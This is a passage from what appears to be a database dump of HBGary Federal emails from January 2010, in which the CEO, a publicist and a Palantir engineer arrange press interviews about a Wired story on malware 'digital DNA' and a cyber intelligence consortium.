Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\n',8537,'aaron_hbgary_com/8537.html'),(1546,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000467.M825835P3547Q1546.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Great Aaron. As of this morning, Paul Roberts&nbsp; was available tomorrow before 3:30 PM ET. Would you and the Palantir spokesperson have any availability then -- if so, please provide some possible times so I can run by Paul. Thanks SO much. Best, Karen--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"penny@hbgary.com\" &lt;penny@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;Date: Tuesday, January 26, 2010, 4:33 PM\r\n\r\nKaren,\r\n\r\nPalantir is on board. &nbsp;Go ahead and set up the interview.\r\n\r\nI would like to mention this to the wired guy as well and talk about HBGary working on the bigger threat intelligence problem.\r\n\r\nAaronFrom my iPhone\r\nOn Jan 26, 2010, at 12:27 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent&nbsp; him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch&nbsp;our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important&nbsp;technology ability&nbsp;for government agencies? Do we work with the Pentagon? Thanks, Karen--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: penny@hbgary.com, greg@hbgary.comDate: Tuesday, January 26, 2010, 8:09 AM\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities? &nbsp;how do we leverage this? \r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',3237,'aaron_hbgary_com/3237.html'),(1547,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000468.M194147P3547Q1547.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Can u support?AaronFrom my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 7:36:23 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;\r\nSubject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nGreat Aaron. As of this morning, Paul Roberts  was available tomorrow before 3:30 PM ET. Would you and the Palantir spokesperson have any availability then -- if so, please provide some possible times so I can run by Paul. Thanks SO much. Best, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Cc: &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;\r\nDate: Tuesday, January 26, 2010, 4:33 PM\r\n\r\nKaren,\r\n\r\nPalantir is on board.  Go ahead and set up the interview.\r\n\r\nI would like to mention this to the wired guy as well and talk about HBGary working on the bigger threat intelligence problem.\r\n\r\nAaronFrom my iPhone\r\nOn Jan 26, 2010, at 12:27 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent  him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important technology ability for government agencies? Do we work with the Pentagon? Thanks, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nCc: penny@hbgary.com, greg@hbgary.com\r\nDate: Tuesday, January 26, 2010, 8:09 AM\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities?  how do we leverage this? \r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today&#39;s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary&#39;s Digital DNA already solve this problem?\r\n \r\n\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\n',15594,'aaron_hbgary_com/15594.html'),(1548,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000468.M389091P3547Q1548.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','10th fleet- navy cyber command','Xetron and HBGary federal will meet wirh commander 10th fleet in early\r\nmarch.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13169,'aaron_hbgary_com/13169.html'),(1549,'2010-01-27','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000468.M599078P3547Q1549.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Pentagon Searches for \'Digital DNA\' to Identify Hackers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere is Paul Roberts from again?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 7:44 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan u support?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 7:36:23 PM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: &quot;penny@hbgary.com&quot;\r\n&lt;penny@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;\r\nSubject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Great Aaron. As of this morning, Paul Roberts&nbsp; was\r\n  available tomorrow before 3:30 PM ET. Would you and the Palantir spokesperson\r\n  have any availability then -- if so, please provide some possible times so I\r\n  can run by Paul. Thanks SO much. Best, Karen\r\n  \r\n  --- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Cc: &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;\r\n  Date: Tuesday, January 26, 2010, 4:33 PM\r\n  \r\n  \r\n  Karen,\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Palantir is on board. &nbsp;Go ahead and set up the\r\n  interview.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  I would like to mention this to the wired guy as well and\r\n  talk about HBGary working on the bigger threat intelligence problem.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron\r\n  \r\n  From my iPhone\r\n  \r\n  \r\n  \r\n  On Jan 26, 2010, at 12:27 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\n  wrote:\r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Hi Aaron, I already spoke with reporter Brian Krebs and\r\n    he is interested in the story. I sent&nbsp; him the Wired piece and our\r\n    Palantir announcement, which is a great news hook. That said, I will\r\n    pitch&nbsp;our other key security/government pubs. Aside from our ability\r\n    to ID hackers, anything else that will help advance this story -- are you\r\n    finding that this is an increasingly important&nbsp;technology\r\n    ability&nbsp;for government agencies? Do we work with the Pentagon? Thanks,\r\n    Karen\r\n    \r\n    --- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    wrote:\r\n    \r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    Subject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n    To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n    Cc: penny@hbgary.com, greg@hbgary.com\r\n    Date: Tuesday, January 26, 2010, 8:09 AM\r\n    \r\n    Is it possible to get in with Wired for an interview\r\n    talking about our existing capabilities? &nbsp;how do we leverage this? \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Aaron\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    On Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n    \r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      Take a look at this story in today\'s Wired -- do you\r\n      work with DARPA? Are you familiar with its Cyber Genome project? Can\r\n      HBGary\'s Digital DNA already solve this problem?\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      Pentagon\r\n      Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n      \r\n      http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n     \r\n    \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Aaron Barr\r\n    \r\n    \r\n    CEO\r\n    \r\n    \r\n    HBGary Federal Inc.\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12970,'aaron_hbgary_com/12970.html'),(1550,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000468.M780503P3547Q1550.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Schedule Interview with The 451 Group analyst Paul Roberts','LolFrom my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\nThanks Aaron. As soon as you hear back from Palantir, please let me know. Paul would like to do the call as soon as possible. In the meantime, I&#39;ll look forward to your updates re the consortium. Best, Karen\r\n\r\n \r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 5:20 AM\r\nKaren,\r\n\r\nThanks.  I am checking if Palantir can support this.  I would like to do this interview and can support in the nexst few days.\r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability.  I am getting very positive feedback from folks I talk to you about this endeavor.   So I would like to work with you to develop the next press release for this effort.\r\n\r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support.  I should be able to discuss that with you today or tomorrow.\r\n\r\n\r\nThanks,\r\nAaron\r\n\r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst, would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.  \r\n\r\n \r\nBackground: Penny and Greg Hoglund recently did a corporate update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing  note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n \r\nPlease let me know how you want to pursue. Best, Karen\r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n      \r\n',14818,'aaron_hbgary_com/14818.html'),(1551,'2010-01-27','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000468.M985599P3547Q1551.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Schedule Interview with The 451 Group analyst Paul Roberts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:01 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLol\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul\r\nRoberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Thanks Aaron.&nbsp;As soon as you hear back from Palantir,\r\n  please let me know.&nbsp;Paul would like to do the call as soon as\r\n  possible.&nbsp;In the meantime, I\'ll look forward to your updates re the\r\n  consortium. Best, Karen\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  - On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n  \r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Tuesday, January 26, 2010, 5:20 AM\r\n  \r\n  Karen, \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Thanks. &nbsp;I am checking if Palantir can support this.\r\n  &nbsp;I would like to do this interview and can support in the nexst few\r\n  days.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  As I mentioned to you, today is our kickoff meeting for\r\n  our Cyber Intelligence Consortium, where I am bringing the best of breed\r\n  companies together to develop a full-spectrum cyber intelligence capability.\r\n  &nbsp;I am getting very positive feedback from folks I talk to you about this\r\n  endeavor. &nbsp; So I would like to work with you to develop the next press\r\n  release for this effort.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  I think we should have the Operating agreement signed\r\n  today and have worked some initial numbers, or should I say Ted worked in\r\n  some initial numbers of hours for your support. &nbsp;I should be able to\r\n  discuss that with you today or tomorrow.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Thanks,\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  On Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Hi Aaron, The 451 Group analyst Paul Roberts,a security\r\n    industry analyst,&nbsp;would like to speak to both you and Palantir\r\n    regarding your announcement today. It would be great if we could schedule\r\n    it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Background: Penny and Greg Hoglund recently did a\r\n    corporate&nbsp;update briefing with Paul on HBGary -- prior to when we\r\n    announced HBGary Federal. The opportunity here would be to provide Paul\r\n    with a&nbsp;brief overview of HBGary Federal and specifics on the\r\n    announcement. He will be publishing a report on e-Crime next month and\r\n    plans to include HBGary in the report. Most likely, he may use this\r\n    interview to include in the report; write a separate briefing&nbsp; note; or\r\n    blog about on his 451 Group blog, Plausible Deniability.\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Please let me know how you want to pursue. Best, Karen\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5433,'aaron_hbgary_com/5433.html'),(1552,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000469.M184278P3547Q1552.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Also.  We are talking with wired magazine about the whole malware genome and digital DNA thing.  We will be talking about the threat intelligence effort and our partnership.\r\nIt&#39;s been a busy day.AaronFrom my iPhoneOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:01 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul\r\nRoberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Thanks Aaron. As soon as you hear back from Palantir,\r\n  please let me know. Paul would like to do the call as soon as\r\n  possible. In the meantime, I&#39;ll look forward to your updates re the\r\n  consortium. Best, Karen\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  - On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n  \r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Tuesday, January 26, 2010, 5:20 AM\r\n  \r\n  Karen, \r\n  \r\n   \r\n  \r\n  \r\n  Thanks.  I am checking if Palantir can support this.\r\n   I would like to do this interview and can support in the nexst few\r\n  days.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  As I mentioned to you, today is our kickoff meeting for\r\n  our Cyber Intelligence Consortium, where I am bringing the best of breed\r\n  companies together to develop a full-spectrum cyber intelligence capability.\r\n   I am getting very positive feedback from folks I talk to you about this\r\n  endeavor.   So I would like to work with you to develop the next press\r\n  release for this effort.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  I think we should have the Operating agreement signed\r\n  today and have worked some initial numbers, or should I say Ted worked in\r\n  some initial numbers of hours for your support.  I should be able to\r\n  discuss that with you today or tomorrow.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  Thanks,\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  On Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Hi Aaron, The 451 Group analyst Paul Roberts,a security\r\n    industry analyst, would like to speak to both you and Palantir\r\n    regarding your announcement today. It would be great if we could schedule\r\n    it the next few days with both you and a Palantir spokesperson.  \r\n    \r\n    \r\n     \r\n    \r\n    \r\n    Background: Penny and Greg Hoglund recently did a\r\n    corporate update briefing with Paul on HBGary -- prior to when we\r\n    announced HBGary Federal. The opportunity here would be to provide Paul\r\n    with a brief overview of HBGary Federal and specifics on the\r\n    announcement. He will be publishing a report on e-Crime next month and\r\n    plans to include HBGary in the report. Most likely, he may use this\r\n    interview to include in the report; write a separate briefing  note; or\r\n    blog about on his 451 Group blog, Plausible Deniability.\r\n    \r\n    \r\n     \r\n    \r\n    \r\n    Please let me know how you want to pursue. Best, Karen\r\n    \r\n    \r\n     \r\n    \r\n    \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n   \r\n  \r\n   \r\n  \r\n  \r\n  Aaron Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary Federal Inc.\r\n  \r\n  \r\n   \r\n  \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2972,'aaron_hbgary_com/2972.html'),(1553,'2010-01-27','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000469.M408298P3547Q1553.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Schedule Interview with The 451 Group analyst Paul Roberts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYoure telling me.&nbsp; I just shot an email to my peeps about\r\nthe interview tomorrow.&nbsp; We are going to bow out on the 451 interview L My\r\nPR team tells me that we are pretty selective when it comes to interview stuff\r\n(this is a whole new world to me so I didn&#8217;t know, my bad for saying we\r\nwere in today).\r\n\r\n&nbsp;\r\n\r\nAs far as the Wired thing, that&#8217;s pretty awesome.&nbsp;\r\nWould it be for the magazine or for one of their security blogs?&nbsp; &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:08 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAlso. &nbsp;We are talking with wired magazine about the\r\nwhole malware genome and digital DNA thing. &nbsp;We will be talking about the\r\nthreat intelligence effort and our partnership.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt\'s been a busy day.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHaha,\r\nwow, right, thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:01 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLol\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nKaren Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul\r\nRoberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Thanks\r\n  Aaron.&nbsp;As soon as you hear back from Palantir, please let me\r\n  know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the\r\n  meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  -\r\n  On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Tuesday, January 26, 2010, 5:20 AM\r\n  \r\n  Karen,\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Thanks.\r\n  &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do\r\n  this interview and can support in the nexst few days.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  As\r\n  I mentioned to you, today is our kickoff meeting for our Cyber Intelligence\r\n  Consortium, where I am bringing the best of breed companies together to\r\n  develop a full-spectrum cyber intelligence capability. &nbsp;I am getting\r\n  very positive feedback from folks I talk to you about this endeavor. &nbsp;\r\n  So I would like to work with you to develop the next press release for this\r\n  effort.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  I\r\n  think we should have the Operating agreement signed today and have worked\r\n  some initial numbers, or should I say Ted worked in some initial numbers of\r\n  hours for your support. &nbsp;I should be able to discuss that with you today\r\n  or tomorrow.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Thanks,\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  On\r\n  Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n  \r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    \r\n    